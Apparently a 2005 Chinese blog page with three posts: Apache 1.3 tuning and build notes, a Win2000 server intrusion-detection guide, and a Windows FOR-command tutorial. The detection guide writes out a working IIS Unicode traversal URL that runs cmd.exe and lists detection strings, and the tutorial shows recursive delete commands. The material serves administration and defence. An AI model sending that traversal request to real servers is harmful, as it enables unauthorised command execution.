为什么会有一个apache_max_process_with_good_perfermance和apache_max_process呢?原因是在低负载下系统可以使用更多的内存用于文件系统的缓存,从而进一步提高单个请求的响应速度。在高负载下,系统的单个请求响应速度会慢不少,而超过apache_max_process,系统会因为开始使用硬盘做虚拟内存交换空间而导致系统崩溃。此外,同样的服务:2G内存的机器的apache_max_process一般只设置到1G内存的1.7倍,因为APACHE本身会因为管理更多的进程而产生性能下降。

例子1:
一个apache + mod_php的服务器:一个apache进程一般需要4M内存
因此在一个1G内存的机器上:apache_max_process_with_good_perfermance < (1g / 4m) * 2 = 500
apache_max_process = 500 * 1.5 = 750
所以规划你的应用让服务尽量跑在500个APACHE以下,并设置APACHE的软上限在800个。

例子2:
一个apache + mod_resin的服务器: 一个apache进程一般需要2M内存
在一个2G内存的机器上: apache_max_process_with_good_perfermance < (2g / 2m ) * 2 = 2000
因此:apache_max_process = 2000 * 1.5 = 3000

以上估算都是按小文件服务估算的(一个请求一般大小在20k以下)。对于文件下载类型站点,可能还会受其他因素:比如带宽等的影响。

APACHE安装过程

服务器个数的硬上限HARD_SERVER_LIMIT的修改:
在FREEBSD和LINUX等UNIX操作系统下APACHE缺省的最大进程数是256个,需要修改apache_1.3.xx/src/include/httpd.h
#ifndef HARD_SERVER_LIMIT
#ifdef WIN32
#define HARD_SERVER_LIMIT 1024
#elif defined(NETWARE)
#define HARD_SERVER_LIMIT 2048
#else
#define HARD_SERVER_LIMIT 2560 <===将原来的HARD_SERVER_LIMIT 256 后面加个“0”
#endif
#endif

解释:
APACHE缺省的最大用户数是256个:这个配置对于服务器内存还是256M左右的时代是一个非常好的缺省设置,但随着内存成本的急剧下降,现在大型站点的服务器内存配置一般比当时要高一个数量级不止。所以256个进程的硬限制对于一台1G内存的机器来说是太浪费了,而且APACHE的软上限max_client是受限于HARD_SERVER_LIMIT的,因此如果WEB服务器内存大于256M,都应该调高APACHE的HARD_SERVER_LIMIT。根据个人的经验:2560已经可以满足大部分小于2G内存的服务器的容量规划了(APACHE的软上限的规划请看后面)。

APACHE的编译:通用的编译选项能使安装过程标准化
./configure --prefix=/another_driver/apache/ --enable-shared=max --enable-module=most

解释:
--prefix=/another_driver/apache/: 一个系统使用寿命最低的一般就是硬盘,因此:将服务数据和系统完全分开,不仅能提高了数据的访问速度,更重要的,大大方便系统升级,备份和恢复。

--shared-module=max:使用动态加载方式会带来5%的性能下降,但和带来的好处相比更本不算什么:比如模块升级方便,系统升级风险降低,安装过程标准化

--enable-module=most:用most可以将一些不常用的module编译进来,比如后面讲到的mod_expire是就不在apache的缺省常用模块中

如果不想build so, 也可以这样:
./configure \
"--with-layout=Apache" \
"--prefix=/path/to/apache" \
"--disable-module=access" \
"--disable-module=actions" \
"--disable-module=autoindex" \
"--disable-module=env" \
"--disable-module=imap" \
"--disable-module=negotiation" \
"--disable-module=setenvif" \
"--disable-module=status" \
"--disable-module=userdir" \
"--disable-module=cgi" \
"--disable-module=include" \
"--disable-module=auth" \
"--disable-module=asis"

但结果会发现,这样编译对服务性能只能有微小的提高(5%左右),但却失去了以后系统升级和模块升级的灵活性,无论是模块还是APACHE本身升级都必须把所有SOURCE加在一起重新编译。

apache的缺省配置文件一般比较大:我们可以使用去掉注释的方法精简一下:然后再进入具体的培植过程能让你更快的定制出你所需要的。
grep -v "#" httpd.conf.default >httpd.conf

需要修改的通用项目有以下几个:

#服务端口,缺省是8080,建议将整个APACHE配置调整好后再将服务端口改到正式服务的端口
Port 8080 => 80

#服务器名:缺省没有
ServerName name.example.com

#最大服务进程数:根据服务容量预测设置
MaxClients 256 => 800

#缺省启动服务后的服务进程数:等服务比较平稳后,按平均负载下的httpd个数设置就可以
StartServers 5 => 200

不要修改:
以前有建议说修改:
MinSpareServers 5 => 100
MaxSpareServers 10 => 200

但从我的经验看来:缺省值已经是非常优化的了,而且让APACHE自己调整进程个数还是比较好的。

特别修改:
在solaris或一些比较容易出现内存泄露的应用上:
MaxRequestsPerChild 0 =>3000

应用模块和工具的安装配置:

由于使用模块动态加载的模式,所以可以方便的通过简单的配置调整来把APACHE定制成你需要的:最好把不常用模块全部清除(无论处于安全还是效率)。
比如:对于静态页面服务器:就什么模块都不加载,对于PHP应用就加上PHP模块,对于JAVA应用就把RESIN模块加载上。而且各种模块的插拔非常简单。


一般说来,可以不需要的模块包括:
#LoadModule env_module libexec/mod_env.so
#LoadModule negotiation_module libexec/mod_negotiation.so
#LoadModule status_module libexec/mod_status.so
#server side include已经过时了
#LoadModule includes_module libexec/mod_include.so
#不需要将没有缺省index文件的目录下所有文件列出
#LoadModule autoindex_module libexec/mod_autoindex.so
#尽量不使用CGI:一直是APACHE安全问题最多的地方
#LoadModule cgi_module libexec/mod_cgi.so
#LoadModule asis_module libexec/mod_asis.so
#LoadModule imap_module libexec/mod_imap.so
#LoadModule action_module libexec/mod_actions.so
#不使用安全校验可以大大提高访问速度
#LoadModule access_module libexec/mod_access.so
#LoadModule auth_module libexec/mod_auth.so
#LoadModule setenvif_module libexec/mod_setenvif.so

最好保留的有:
#用于定制log格式
LoadModule config_log_module libexec/mod_log_config.so
#用于增加文件应用的关联
LoadModule mime_module libexec/mod_mime.so
#用于缺省index文件:index.php等
LoadModule dir_module libexec/mod_dir.so

可用可不用的有:
#比如:需要在~/username/下调试php可以将
LoadModule userdir_module libexec/mod_userdir.so
#比如:需要将以前的URL进行转向或者需要使用CGI script-alias
LoadModule alias_module libexec/mod_alias.so


常用的模块:
最常用的可能就是php和JAVA WEB应用的wrapper,此外,从性能上讲:mod_gzip可以减少40%左右的流量,从而减少机器用于传输的负载,而mod_expires可以减少10%左右的重复请求,让重复的用户请求CACHE在本地,根本不向服务器发出请求。

建议将所有MODULE的配置都放到

PHP的安装:
/path/to/php_src/configure --with-apxs=/path/to/apache/bin/apxs --with-other-modules-you-need
需要修改的配置:
AddType application/x-httpd-php .php .php3 .any_file_in_php

resin的安装设置:
/path/to/resin/src/configure --with-apxs=/path/to/apache/bin/apxs

一般将具体的resin设置放在另外一个文件中:
<IfModule mod_caucho.c>
CauchoConfigFile /path/to/apache/conf/resin.conf
</IfModule>

mod_expires的安装配置:
<IfModule mod_expires.c>
ExpiresActive on
#所有的.gif文件1个月以后过期
ExpiresByType image/gif "access plus 1 month"
#所有的文件缺省1天以后过期
ExpiresDefault "now plus 1 day"
</IfModule>

mod_gzip的安装:
/path/to/apache/bin/apxs -i -a -c mod_gzip.c


mod_gzip和PHP在一起的配置
<IfModule mod_gzip.c>
mod_gzip_on Yes
mod_gzip_minimum_file_size 1000
mod_gzip_maximum_file_size 300000
mod_gzip_item_include file \.htm$
mod_gzip_item_include file \.html$
mod_gzip_item_include file \.php$
mod_gzip_item_include file \.php3$
mod_gzip_item_include mime text/.*
mod_gzip_item_include mime httpd/unix-directory
#不要让mod_gzip和php的session使用同一个临时目录:php_session需要通过php.ini设置session.save_path = /tmp/php_sess
mod_gzip_temp_dir /tmp/mod_gzip
mod_gzip_dechunk Yes
mod_gzip_keep_workfiles No
</IfModule>
mod_gzip和mod_php的配合:不要让mod_gzip和mod_php使用同一个临时目录;

mod_gzip和RESIN配合:要让mod_gzip在mod_caucho后LOAD,否则mod_gzip不起作用
...othr modules
AddModule mod_so.c
AddModule mod_caucho.c
#notice: mod_gzip must load after mod_caucho
AddModule mod_gzip.c
AddModule mod_expires.c
...

<IFModule mod_gzip.c>
mod_gzip_on Yes
mod_gzip_dechunk yes
mod_gzip_keep_workfiles No
mod_gzip_minimum_file_size 3000
mod_gzip_maximum_file_size 300000
mod_gzip_item_include file \.html$
mod_gzip_item_include mime text/.*
mod_gzip_item_include mime httpd/unix-directory
mod_gzip_item_include handler 'caucho-request'
</IFModule>

日志轮循工具cronolog的安装和设置:cronolog可以非常整齐的将日志按天轮循存储
缺省编译安装到/usr/local/bin/下,只需要将配置改成:

CustomLog "|/usr/local/sbin/cronolog /path/to/apache/logs/%w/access_log" combined

日志将按天截断并存放在以weekday为目录名的目录下:比如:log/1是周一,log/5是周五, log/0是周日

升级维护:

由于使用标准化的DSO模式安装APACHE,APACHE的HTTPD核心服务和应用模块以及应用模块之间都变的非常灵活,建议将所有独立模块的配置都放在
<IfModule mod_name>
CONFIGURATIONS..
</IfModule>
里,这样配置非常容易通过屏蔽某个模块来进行功能调整:比如:
#AddModule mod_gzip.c
就屏蔽了mod_gzip,其他模块不首任何影响。

安装和维护过程:

系统安装:系统管理员的职责就是安装系统和一个可以适应任何情况的APACHE,然后COLON。
应用安装:由应用管理员负责具体应用所需要的模块并设置HTTPD。
系统升级:系统管理员:升级系统/升级APACHE
应用升级:应用管理员:升级应用模块
系统备份/恢复:如果APACHE不在缺省的系统盘上,只需要将APACHE目录备份就可以了,遇到系统分区的硬件问题直接使用预先准备好的系统COLON,直接将APACHE所在物理盘恢复就行了。
系统管理员:APACHE的最简化安装 OS + APACHE(httpd core only)
应用管理员:应用模块定制   +so
+php
+so
+caucho
+ssl
应用: 纯静态页面服务:
image.example.com
www.example.com bbs.example.com mall.example.com

 

参考文档:

Apache
http://httpd.apache.org

php
http://www.php.net

Resin
http://www.caucho.com

mod_gzip
http://www.remotecommunications.com/apache/mod_gzip/

Cronolog
http://www.cronolog.org

mod_expires
http://httpd.apache.org/docs/mod/mod_expires.html
posted @ 2005-07-07 18:07 一天一点爱恋 阅读(169) | 评论 (0)编辑 收藏
 
经过精心配置的Win2000服务器可以防御90%以上的入侵和渗透,但是,就象上一章结束时我所提到的:系统安全是一个连续的过程,随着新漏洞的出现和服务器应用的变化,系统的安全状况也在不断变化着;同时由于攻防是矛盾的统一体,道消魔长和魔消道长也在不断的转换中,因此,再高明的系统管理员也不能保证一台正在提供服务的服务器长时间绝对不被入侵。
  所以,安全配置服务器并不是安全工作的结束,相反却是漫长乏味的安全工作的开始,本文我们将初步探讨Win2000服务器入侵检测的初步技巧,希望能帮助您长期维护服务器的安全。
  本文中所说的入侵检测指的是利用Win2000 Server自身的功能及系统管理员自己编写的软件/脚本进行的检测,使用防火墙(Firewall)或入侵监测系统(IDS)的技巧并不在本文的讨论范围之内。
  现在假定:我们有一台Win2000 Server的服务器,并且经过了初步的安全配置(关于安全配置的详情可以参阅Win2000 Server安全配置入门<一>),在这种情况下,大部分的入侵者将被拒之门外。(哈哈,我管理员可以回家睡大觉去了)慢着,我说的是大部分,不是全部,经过初步安全配置的服务器虽然可以防御绝大多数的Script kid(脚本族-只会用别人写的程序入侵服务器的人),遇到了真正的高手,还是不堪一击的。虽然说真正的高手不会随便进入别人的服务器,但是也难保有几个品行不端的邪派高手看上了你的服务器。(我真的这么衰么?)而且,在漏洞的发现与补丁的发布之间往往有一段时间的真空,任何知道漏洞资料的人都可以乘虚而入,这时,入侵检测技术就显得非常的重要。
  入侵的检测主要还是根据应用来进行,提供了相应的服务就应该有相应的检测分析系统来进行保护,对于一般的主机来说,主要应该注意以下几个方面:
  1、 基于80端口入侵的检测
  WWW服务大概是最常见的服务之一了,而且由于这个服务面对广大用户,服务的流量和复杂度都很高,所以针对这个服务的漏洞和入侵技巧也最多。对于NT来说,IIS一直是系统管理员比较头疼的一部分(恨不得关了80端口),不过好在IIS自带的日志功能从某种程度上可以成为入侵检测的得力帮手。IIS自带的日志文件默认存放在System32/LogFiles目录下,一般是按24小时滚动的,在IIS管理器中可以对它进行详细的配置。(具体怎么配我不管你,不过你要是不详细记录,回头查不到入侵者的IP可不要哭)
  现在我们再假设(怎么老是假设呀,烦不烦?)别急呀,我不能为了写这篇文章真的去黑掉一台主机,所以只好假设了,我们假设一台WEB服务器,开放了WWW服务,你是这台服务器的系统管理员,已经小心地配置了IIS,使用W3C扩展的日志格式,并至少记录了时间(Time)、客户端IP(Client IP)、方法(Method)、URI资源(URI Stem)、URI查询(URI Query),协议状态(Protocol Status),我们用最近比较流行的Unicode漏洞来进行分析:打开IE的窗口,在地址栏输入:127.0.0.1/scripts/..%c1% 1c../winnt/system32/cmd.exe?/c+dir 默认的情况下你可以看到目录列表(什么?你已经做过安全配置了,看不到?恢复默认安装,我们要做个实验),让我们来看看IIS的日志都记录了些什么,打开Ex010318.log(Ex代表W3C扩展格式,后面的一串数字代表日志的记录日期):07:42:58 127.0.0.1 GET /scripts/..\../winnt/system32\cmd.exe /c+dir 200上面这行日志表示在格林威治时间07:42:58(就是北京时间23:42:58),有一个家伙(入侵者)从127.0.0.1的IP在你的机器上利用Unicode漏洞(%c1%1c被解码为"\",实际的情况会因为Windows语言版本的不同而有略微的差别)运行了cmd.exe,参数是/c dir,运行结果成功(HTTP 200代表正确返回)。(哇,记录得可真够全的,以后不敢随便乱玩Unicode了)
  大多数情况下,IIS的日志会忠实地记录它接收到的任何请求(也有特殊的不被IIS记录的攻击,这个我们以后再讨论),所以,一个优秀的系统管理员应该擅长利用这点来发现入侵的企图,从而保护自己的系统。但是,IIS的日志动辄数十兆、流量大的网站甚至数十G,人工检查几乎没有可能,唯一的选择就是使用日志分析软件,用任何语言编写一个日志分析软件(其实就是文本过滤器)都非常简单,不过考虑到一些实际情况(比如管理员不会写程序,或者服务器上一时找不到日志分析软件),我可以告诉大家一个简单的方法,比方说你想知道有没有人从80端口上试图取得你的Global.asa文件,可以使用以下的CMD命令:find "Global.asa" ex010318.log /i这个命令使用的是NT自带的find.exe工具(所以不怕紧急情况找不着),可以轻松的从文本文件中找到你想过滤的字符串,"Global.asa"是需要查询的字符串,ex010318.log是待过滤的文本文件,/i代表忽略大小写。因为我无意把这篇文章写成微软的Help文档,所以关于这个命令的其他参数以及它的增强版FindStr.exe的用法请去查看Win2000的帮助文件。
  无论是基于日志分析软件或者是Find命令,你都可以建立一张敏感字符串列表,包含已有的IIS漏洞(比如"+.htr")以及未来将要出现的漏洞可能会调用的资源(比如Global.asa或者cmd.exe),通过过滤这张不断更新的字符串表,一定可以尽早了解入侵者的行动。
  需要提醒的是,使用任何日志分析软件都会占用一定的系统资源,因此,对于IIS日志分析这样低优先级的任务,放在夜里空闲时自动执行会比较合适,如果再写一段脚本把过滤后的可疑文本发送给系统管理员,那就更加完美了。同时,如果敏感字符串表较大,过滤策略复杂,我建议还是用C写一个专用程序会比较合算。
 2、 基于安全日志的检测
  通过基于IIS日志的入侵监测,我们能提前知道窥伺者的行踪(如果你处理失当,窥伺者随时会变成入侵者),但是IIS日志不是万能的,它在某种情况下甚至不能记录来自80端口的入侵,根据我对IIS日志系统的分析,IIS只有在一个请求完成后才会写入日志,换言之,如果一个请求中途失败,日志文件中是不会有它的踪影的(这里的中途失败并不是指发生HTTP400错误这样的情况,而是从TCP层上没有完成HTTP请求,例如在POST大量数据时异常中断),对于入侵者来说,就有可能绕过日志系统完成大量的活动。
  而且,对于非80 Only的主机,入侵者也可以从其它的服务进入服务器,因此,建立一套完整的安全监测系统是非常必要的。
  Win2000自带了相当强大的安全日志系统,从用户登录到特权的使用都有非常详细的记录,可惜的是,默认安装下安全审核是关闭的,以至于一些主机被黑后根本没法追踪入侵者。所以,我们要做的第一步是在管理工具-本地安全策略-本地策略-审核策略中打开必要的审核,一般来说,登录事件与账户管理是我们最关心的事件,同时打开成功和失败审核非常必要,其他的审核也要打开失败审核,这样可以使得入侵者步步维艰,一不小心就会露出马脚。仅仅打开安全审核并没有完全解决问题,如果没有很好的配置安全日志的大小及覆盖方式,一个老练的入侵者就能够通过洪水般的伪造入侵请求覆盖掉他真正的行踪。通常情况下,将安全日志的大小指定为50MB并且只允许覆盖7天前的日志可以避免上述情况的出现。
  设置了安全日志却不去检查跟没有设置安全日志几乎一样糟糕(唯一的优点是被黑了以后可以追查入侵者),所以,制定一个安全日志的检查机制也是非常重要的,作为安全日志,推荐的检查时间是每天上午,这是因为,入侵者喜欢夜间行动(速度快呀,要不你入侵到一半的时候连不上了,那可是哭都哭不出来)上午上班第一件事正好看看日志有没有异常,然后就可以放心去做其他的事了。如果你喜欢,也可以编写脚本每天把安全日志作为邮件发送给你(别太相信这个了,要是哪个高手上去改了你的脚本,每天发送"平安无事"……)
  除了安全日志,系统日志和应用程序日志也是非常好的辅助监测工具,一般来说,入侵者除了在安全日志中留下痕迹(如果他拿到了Admin权限,那么他一定会去清除痕迹的),在系统和应用程序日志中也会留下蛛丝马迹,作为系统管理员,要有不放过任何异常的态度,这样入侵者就很难隐藏他们的行踪。
  3、文件访问日志与关键文件保护
  除了系统默认的安全审核外,对于关键的文件,我们还要加设文件访问日志,记录对他们的访问。
  文件访问有很多的选项:访问、修改、执行、新建、属性更改......一般来说,关注访问和修改就能起到很大的监视作用。
  例如,如果我们监视了系统目录的修改、创建,甚至部分重要文件的访问(例如cmd.exe, net.exe,system32目录),那么,入侵者就很难安放后门而不引起我们的注意,要注意的是,监视的关键文件和项目不能太多,否则不仅增加系统负担,还会扰乱日常的日志监测工作(哪个系统管理员有耐心每天看四、五千条垃圾日志?)
  关键文件不仅仅指的是系统文件,还包括有可能对系统管理员/其他用户构成危害的任何文件,例如系统管理员的配置、桌面文件等等,这些都是有可能用来窃取系统管理员资料/密码的。
4、 进程监控
  进程监控技术是追踪木马后门的另一个有力武器,90%以上的木马和后门是以进程的形式存在的(也有以其他形式存在的木马,参见《揭开木马的神秘面纱三》),作为系统管理员,了解服务器上运行的每个进程是职责之一(否则不要说安全,连系统优化都没有办法做),做一份每台服务器运行进程的列表非常必要,能帮助管理员一眼就发现入侵进程,异常的用户进程或者异常的资源占用都有可能是非法进程。除了进程外,DLL也是危险的东西,例如把原本是exe类型的木马改写为dll后,使用rundll32运行就比较具有迷惑性。

  5、 注册表校验
  一般来说,木马或者后门都会利用注册表来再次运行自己,所以,校验注册表来发现入侵也是常用的手法之一。一般来说,如果一个入侵者只懂得使用流行的木马,那么由于普通木马只能写入特定的几个键值(比如Run、Runonce等等),查找起来是相对容易的,但是对于可以自己编写/改写木马的人来说,注册表的任何地方都可以藏身,靠手工查找就没有可能了。(注册表藏身千变万化,例如需要特别提出来的FakeGina技术,这种利用WINNT外嵌登录DLL(Ginadll)来获得用户密码的方法最近比较流行,一旦中招,登录用户的密码就会被记录无遗,具体的预防方法我这里就不介绍了。)应对的方法是监控注册表的任何改动,这样改写注册表的木马就没有办法遁形了。监控注册表的软件非常多,很多追查木马的软件都带有这样的功能,一个监控软件加上定期对注册表进行备份,万一注册表被非授权修改,系统管理员也能在最短的时间内恢复。
  6、端口监控
  虽然说不使用端口的木马已经出现,但是大部分的后门和木马还是使用TCP连接的,监控端口的状况对于由于种种原因不能封锁端口的主机来说就是非常重要的了,我们这里不谈使用NDIS网卡高级编程的IDS系统,对于系统管理员来说,了解自己服务器上开放的端口甚至比对进程的监控更加重要,常常使用netstat查看服务器的端口状况是一个良好的习惯,但是并不能24小时这样做,而且NT的安全日志有一个坏习惯,喜欢记录机器名而不是IP(不知道比尔盖子怎么想的),如果你既没有防火墙又没有入侵检测软件,倒是可以用脚本来进行IP日志记录的,看着这个命令:
netstat -n -p tcp 10>>Netstat.log,这个命令每10秒钟自动查看一次TCP的连接状况,基于这个命令我们做一个Netlog.bat文件:
time /t>>Netstat.log
Netstat -n -p tcp 10>>Netstat.log
  这个脚本将会自动记录时间和TCP连接状态,需要注意的是:如果网站访问量比较大,这样的操作是需要消耗一定的CPU时间的,而且日志文件将越来越大,所以请慎之又慎。(要是做个脚本就完美无缺,谁去买防火墙?:)
  一旦发现异常的端口,可以使用特殊的程序来关联端口、可执行文件和进程(如inzider就有这样的功能,它可以发现服务器监听的端口并找出与该端口关联的文件,inzider可以从http://www.nttoolbox.com下载到),这样无论是使用TCP还是UDP的木马都无处藏身。
7、终端服务的日志监控
  单独将终端服务(Terminal Service)的日志监控分列出来是有原因的,微软Win2000服务器版中自带的终端服务Terminal Service是一个基于远程桌面协议(RDP)的工具,它的速度非常快,也很稳定,可以成为一个很好的远程管理软件,但是因为这个软件功能强大而且只受到密码的保护,所以也非常的危险,一旦入侵者拥有了管理员密码,就能够象本机一样操作远程服务器(不需要高深的NT命令行技巧,不需要编写特殊的脚本和程序,只要会用鼠标就能进行一切系统管理操作,实在是太方便、也实在是太可怕了)。虽然很多人都在使用终端服务来进行远程管理,但是,并不是人人都知道如何对终端服务进行审核,大多数的终端服务器上并没有打开终端登录的日志,其实打开日志审核是很容易的,在管理工具中打开远程控制服务配置(Terminal Service Configration),点击"连接",右击你想配置的RDP服务(比如 RDP-TCP(Microsoft RDP 5.0),选中书签"权限",点击左下角的"高级",看见上面那个"审核"了么?我们来加入一个Everyone组,这代表所有的用户,然后审核他的"连接"、"断开"、"注销"的成功和"登录"的成功和失败就足够了,审核太多了反而不好,这个审核是记录在安全日志中的,可以从"管理工具"->"日志查看器"中查看。现在什么人什么时候登录我都一清二楚了,可是美中不足的是:这个破烂玩艺居然不记录客户端的IP(只能查看在线用户的IP),而是华而不实的记录什么机器名,倒!要是别人起个PIG的机器名你只好受他的嘲弄了,不知道微软是怎么想的,看来还是不能完全依赖微软呀,我们自己来吧?写个程序,一切搞定,你会C么?不会?VB呢?也不会?Delphi?……什么?你什么编程语言都不会?我倒,毕竟系统管理员不是程序员呀,别急别急,我给你想办法,我们来建立一个bat文件,叫做TSLog.bat,这个文件用来记录登录者的IP,内容如下:
time /t >>TSLog.log
netstat -n -p tcp | find ":3389">>TSLog.log
start Explorer
  我来解释一下这个文件的含义:
  第一行是记录用户登录的时间,time /t的意思是直接返回系统时间(如果不加/t,系统会等待你输入新的时间),然后我们用追加符号">>"把这个时间记入TSLog.log作为日志的时间字段;
  第二行是记录用户的IP地址,netstat是用来显示当前网络连接状况的命令,-n表示显示IP和端口而不是域名、协议,-ptcp是只显示tcp协议,然后我们用管道符号"|"把这个命令的结果输出给find命令,从输出结果中查找包含":3389"的行(这就是我们要的客户的IP所在的行,如果你更改了终端服务的端口,这个数值也要作相应的更改),最后我们同样把这个结果重定向到日志文件TSLog.log中去,于是在SLog.log文件中,记录格式如下:
22:40
TCP  192.168.12.28:3389  192.168.10.123:4903   ESTABLISHED
22:54
TCP  192.168.12.28:3389   192.168.12.29:1039   ESTABLISHED
  也就是说只要这个TSLog.bat文件一运行,所有连在3389端口上的IP都会被记录,那么如何让这个批处理文件自动运行呢?我们知道,终端服务允许我们为用户自定义起始的程序,在终端服务配置中,我们覆盖用户的登录脚本设置并指定TSLog.bat为用户登录时需要打开的脚本,这样每个用户登录后都必须执行这个脚本,因为默认的脚本(相当于shell环境)是Explorer(资源管理器),所以我在TSLog.bat的最后一行加上了启动Explorer的命令startExplorer,如果不加这一行命令,用户是没有办法进入桌面的!当然,如果你只需要给用户特定的Shell:
  例如cmd.exe或者word.exe你也可以把start Explorer替换成任意的shell。这个脚本也可以有其他的写法,作为系统管理员,你完全可以自由发挥你的想象力、自由利用自己的资源,例如写一个脚本把每个登录用户的IP发送到自己的信箱对于重要的服务器也是一个很好的方法。正常情况下一般的用户没有查看终端服务设置的权限,所以他不会知道你对登录进行了IP审核,只要把TSLog.bat文件和TSLog.log文件放在比较隐蔽的目录里就足够了,不过需要注意的是这只是一个简单的终端服务日志策略,并没有太多的安全保障措施和权限机制,如果服务器有更高的安全要求,那还是需要通过编程或购买入侵监测软件来完成的。
  8、陷阱技术
  早期的陷阱技术只是一个伪装的端口服务用来监测扫描,随着矛和盾的不断升级,现在的陷阱服务或者陷阱主机已经越来越完善,越来越象真正的服务,不仅能截获半开式扫描,还能伪装服务的回应并记录入侵者的行为,从而帮助判断入侵者的身份。
  我本人对于陷阱技术并不是非常感兴趣,一来从技术人员角度来说,低调行事更符合安全的原则;二来陷阱主机反而成为入侵者跳板的情况并不仅仅出现在小说中,在现实生活中也屡见不鲜,如果架设了陷阱反而被用来入侵,那真是偷鸡不成了。
  记得CoolFire说过一句话,可以用来作为对陷阱技术介绍的一个结束:在不了解情况时,不要随便进入别人的系统,因为你永远不能事先知道系统管理员是真的白痴或者伪装成白痴的天才......
  入侵监测的初步介绍就到这里,在实际运用中,系统管理员对基础知识掌握的情况直接关系到他的安全敏感度,只有身经百战而又知识丰富、仔细小心的系统管理员才能从一点点的蛛丝马迹中发现入侵者的影子,未雨绸缪,扼杀入侵的行动。

posted @ 2005-07-07 18:03 一天一点爱恋 阅读(150) | 评论 (0)编辑 收藏
 
以前常觉得DOS的命令行功能太弱,无法象UNIX一样可以用命令行完成非常复杂的操作。实际上,当MS从WIN2K开始将命令行增强后,已经借鉴了相当多UNIX的优点,虽然还无法做到象UNIX那么灵活,但已可完成绝大多数的任务,比如用&&和||连接两个(或更多)命令,由前一个的返回值来决定下一个是否执行,等等。而在这些增强中,最明显的,就是FOR命令。

举个例子,用适当的参数,可用FOR命令将 date /t 的输出 从 "Sat 07/13/2002" 变成你想要的格式,比如, "2002-07-13":



c:\>for /f "tokens=2,3,4 delims=/ " %a in ('date /t') do @echo %c-%a-%b
2002-07-13


该例将在(3)中详细说明。

0. 基本应用

简单说,FOR是个循环,可以用你指定的循环范围生成一系列命令。最简单的例子,就是人工指定循环范围,然后对每个值执行指定的命令。例如,想快速报告每个硬盘分区的剩余空间:



for %a in (c: d: e: f do @dir %a\ | find "bytes free"


将输出:


8 Dir(s) 1,361,334,272 bytes free
15 Dir(s) 8,505,581,568 bytes free
12 Dir(s) 12,975,149,056 bytes free
7 Dir(s) 11,658,854,400 bytes free


用它可以使一些不支持通配符的命令对一系列文件进行操作。在WIN9X中,TYPE命令(显示文件内容)是不支持*.txt这种格式的(WIN2K开始TYPE已支持通配)。遇到类似情况就可以用FOR:



for %a in (*.txt) do type %a


这些还不是FOR最强大的功能。我认为它最强大的功能,表现在以下这些高级应用:


1. 可以用 /r 参数遍历整个目录树

2. 可以用 /f 参数将文本文件内容作为循环范围

3. 可以用 /f 参数将某一命令执行结果作为循环范围

4. 可以用 %~ 操作符将文件名分离成文件名、扩展名、盘符等独立部分


现分别举例说明如下:

1. 用 /r 遍历目录树

当用 *.* 或 *.txt 等文件名通配符作为 for /r 的循环范围时,可以对当前目录下所有文件(包括子目录里面的文件)进行操作。举个例子,你想在当前目录的所有txt文件(包括子目录)内容中查找"bluebear"字样,但由于find本身不能遍历子目录,所以我们用for:



for /r . %a in (*.txt) do @find "bluebear" %a


find 前面的 @ 只是让输出结果不包括 find 命令本身。这是DOS很早就有的功能。和FOR无关。

当用 . 作为循环范围时,for 只将子目录的结构(目录名)作为循环范围,而不包括里面的文件。有点象 TREE 命令,不过侧重点不同。TREE 的重点是用很漂亮易读的格式输出,而FOR的输出适合一些自动任务,例如,我们都知道用CVS管理的项目中,每个子目录下都会有一个CVS目录,有时在软件发行时我们想把这些CVS目录全部去掉:



for /r . %a in (.) do @if exist %a\CVS rd /s /q %a\CVS


先用 if exist 判断一下,是因为 for 只是机械的对每个目录进行列举,如果有些目录下面没有CVS也会被执行到。用 if exist 判断一下比较安全。

这种删除命令威力太大,请小心使用。最好是在真正执行以上的删除命令前,将 rd /s /q 换成 @echo 先列出要删出的目录,确认无误后再换回rd /s /q:



for /r . %a in (.) do @if exist %a\CVS @echo %a\CVS


可能目录中会多出一层 ".",比如 c:\proj\release\.\CVS ,但不会影响命令的执行效果。

2. 将某一文件内容或命令执行结果作为循环范围:

假如你有一个文件 todel.txt,里面是所有要删除的文件列表,现在你想将里面列出的每个文件都删掉。假设这个文件是每个文件名占一行,象这样:



c:\temp\a1.txt
c:\temp\a2.txt
c:\temp\subdir\b3.txt
c:\temp\subdir\b4.txt


那么可以用FOR来完成:



for /f %a in (todel.txt) do del %a


这个命令还可以更强大。比如你的 todel.txt 并不是象上面例子那么干净,而是由DIR直接生成,有一些没用的信息,比如这样:



Volume in drive D is DATA
Volume Serial Number is C47C-9908

Directory of D:\tmp

09/26/2001 12:50 PM 18,426 alg0925.txt
12/02/2001 04:29 AM 795 bsample.txt
04/11/2002 04:18 AM 2,043 invitation.txt
4 File(s) 25,651 bytes
0 Dir(s) 4,060,700,672 bytes free


for 仍然可以解出其中的文件名并进行操作:



for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a DEL %a


当然,上面这个命令是在进行删除,如果你只是想看看哪些文件将被操作,把DEL换成echo:



for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a echo %a


你将看到:


alg0925.txt
bsample.txt
invitation.txt


skip=5表示跳过前5行(就是DIR输出的头部信息),tokens=5表示将每行的第5列作为循环值放入%a,正好是文件名。在这里我加了一个文件存在判断,是因为最后一行的"free"刚好也是第5列,目前还想不出好的办法来滤掉最后两行,所以检查一下可保万无一失。

3. 可以用 /f 参数将某一命令执行结果作为循环范围

非常有用的功能。比如,我们想知道目前的环境变量有哪些名字(我们只要名字,不要值)。可是SET命令的输出是“名字=值”的格式,现在可以用FOR来只取得名字部分:



FOR /F "delims==" %i IN ('set') DO @echo %i



将看到:



ALLUSERSPROFILE
APPDATA
CLASSPATH
CommonProgramFiles
COMPUTERNAME
ComSpec
dircmd
HOMEDRIVE
......


这里是将set命令执行的结果拿来作为循环范围。delims==表示用=作为分隔符,由于FOR /F默认是用每行第一个TOKEN,所以可以分离出变量名。如果是想仅列出值:



FOR /F "delims== tokens=2" %i IN ('set') DO @echo %i


tokens=2和前例相同,表示将第二列(由=作为分隔符)作为循环值。

再来个更有用的例子:

我们知道 date /t (/t表示不要询问用户输入)的输出是象这样的:



Sat 07/13/2002


现在我想分离出日期部分,也就是13:



for /f "tokens=3 delims=/ " %a in ('date /t') do @echo %a


实际上把 tokens后面换成1,2,3或4,你将分别得到Sat, 07, 13和2002。注意delims=/后面还有个空格,表示/和空格都是分隔符。由于这个空格delims必须是/f选项的最后一项。

再灵活一点,象本文开头提到的,将日期用2002-07-13的格式输出:



for /f "tokens=2,3,4 delims=/ " %a in ('date /t') do @echo %c-%a-%b


当tokens后跟多个值时,将分别映射到%a, %b, %c等。实际上跟你指定的变量有关,如果你指定的是 %i, 它们就会用%i, %j, %k等。

